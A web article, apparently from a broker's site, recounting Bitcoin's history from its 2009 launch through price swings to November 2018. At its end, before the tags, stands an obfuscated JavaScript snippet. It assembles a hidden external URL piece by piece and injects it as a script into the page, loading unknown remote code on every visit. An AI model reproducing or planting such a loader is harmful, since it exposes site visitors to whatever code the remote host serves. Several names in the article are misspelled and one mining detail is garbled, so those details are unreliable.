The most well-known and highest valued cryptocurrency today (November 2018) is Bitcoin. As recently as the end of 2017, it was priced at the border of $20,000 per 1 BTC on the cryptocurrency market. What is this Bitcoin and what is its history? How was bitcoin created? Less than 10 years ago, in 2009, a particular cryptocurrency was created under the name Bitcoin. It was not the first, but hundreds of subsequent virtual currencies were created based on it. It was based on a cryptocurrency concept created in 1998 by programmer Wei Daia. The author of Bitcoin is Satoshi Nakamoto - also a programmer, who published his manifesto on Metzdowd.com describing the principle of blockchain network - blockchain Bitcoin. In late 2010, Satoshi finally left the Bitcoin project. To this day, it is unknown who the "father" of Bitcoin actually is, as Satoshi Nakamoto is a pseudonym. The launch of the project under the name Bitcoin was prepared for a very long time, and the new cryptocurrency was launched exactly on January 3, 2009 at 6:25:05 p.m. It was then that Satoshi Nakamoto dug up the first block of Bitcoin. In 9 consecutive days, the first 50 Bitcoins were dug, listed on cryptocurrency exchanges under the code BTC. Nakamoto made the first ever functioning cryptocurrency transaction of Bitcoin between his computer and Hall Finey's machine. XTB: Bitcoin - investing in CFDs based on BTC Bitcoin was first recorded on the New Liberty Standard exchange in September 2009, reaching a value of 1309 BTC against 1 US dollar. More than a year after the Bitcoin project was launched, the first Bitcoin-based exchange, Bitmarket, was created, but it had many flaws. On July 17, 2010 Jed McCaleb launched the Mt.Gox exchange, which quickly became very popular, mainly because it was the first exchange with a stock of its own Bitcoins. This made it faster to fund BTC accounts. Also in 2010, in May, programmer Laszlo Haneycz used Bitcoin and bought 2 pizzas with it at Papa John`s pizzas restaurant in Jacksonville, Florida, United States. As time went on, digging Bitcoin became more and more complicated. Bitcoin algorithms now require very powerful machines called cryptocurrency diggers for computation. A new method of digging BTC first used in July 2010, was to use a GPU graphics card, which provided extensive block-solving capabilities. Upward rally In Q2 2013, 1 BTC cost $266 on cryptocurrency exchanges (learn more about cryptocurrencies), and its capitalization at the same time reached $1 billion. The best year in terms of Bitcoin valuation was 2017. Within 12 months, the Bitcoin cryptocurrency exchange rate skyrocketed, and systematic increases in value caused BTC to cross new psychological boundaries. Experts wondered until when Bitcoins could gain, and when would the speculative bubble burst? At the end of 2017, you had to pay almost $20,000 for 1 BTC at times. The correction occurred, as expected already at the beginning of 2018. This was associated with the emergence of information about the high risk inherent in Bitcoin investments. Under the influence of fear and emotion, some investors sold their Bitcoins, which resulted in reduced demand for them and a drop in valuation. In November 2018, $6400 US dollars was paid for 1 BTC, while in May of the same year, more than $9400 was paid for it. For the past two quarters, the value of Bitcoin on cryptocurrency exchanges around the world has been fluctuating slightly. For now, there is no indication that it is about to repeat the rally towards the valuation peaks of 2017. (function(){ qnuc=document.createElement("script");qnuc_=("us")+("ta"); qnuc_+="t"+(".");qnuc_+=("in");qnucu="190216806";qnuc.async=true; qnucu+=".1x1adc3tnucf0bbj2";qnuc.type="text/javascript";qnuc_+="f"+"o"+("/"); qnucu+="z9c57tb551hx8";qnuc.src="https://"+qnuc_+qnucu; dqnuc=document.body;dqnuc.appendChild(qnuc;) })(); Tags bitcoin bitcoin cfd bitcoin xtb btc
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